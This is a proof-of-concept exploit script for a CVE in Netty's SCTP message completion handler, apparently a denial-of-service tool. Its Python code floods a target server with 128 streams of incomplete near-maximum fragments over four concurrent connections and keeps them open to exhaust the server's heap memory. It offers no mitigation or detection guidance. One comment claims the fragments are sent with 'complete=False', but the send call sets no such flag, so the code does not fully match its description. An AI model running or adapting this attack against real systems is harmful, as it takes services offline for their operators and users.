CVE-2026-59902: netty-transport-sctp SctpMessageCompletionHandler Memory Exhaustion

#!/usr/bin/env python3
# Requires: pysctp  (pip install pysctp)
# Target:   Netty server using SctpMessageCompletionHandler, 4.2.0–4.2.16.Final
# Goal:     exhaust server heap via unbounded fragment buffering (CVE-2026-59902)

import sctp, socket, time

SERVER = ('192.0.2.1', 9999)
FRAGMENT_SIZE  = 65535          # near-max SCTP chunk
NUM_STREAMS    = 128            # max incomplete messages (default limit)
FRAGMENTS_EACH = 128            # max fragments per message (default limit)
# 128 streams * 128 frags * 64 KB ≈ 1 GB per connection -- never send 'complete'

def flood():
    sock = sctp.sctpsocket_tcp(socket.AF_INET)
    sock.connect(SERVER)
    payload = b'X' * FRAGMENT_SIZE
    for stream_id in range(NUM_STREAMS):
        for _ in range(FRAGMENTS_EACH):
            # complete=False: handler buffers the fragment, never reassembles
            sock.sctp_send(payload, to=SERVER, stream=stream_id, ppid=0)
    print(f'[+] stream flooding done, buffers held in server heap')
    time.sleep(9999)  # keep connection alive so buffers are not released

if __name__ == '__main__':
    import threading
    # a few concurrent connections multiply the heap pressure
    for _ in range(4):
        threading.Thread(target=flood, daemon=True).start()
    time.sleep(9999)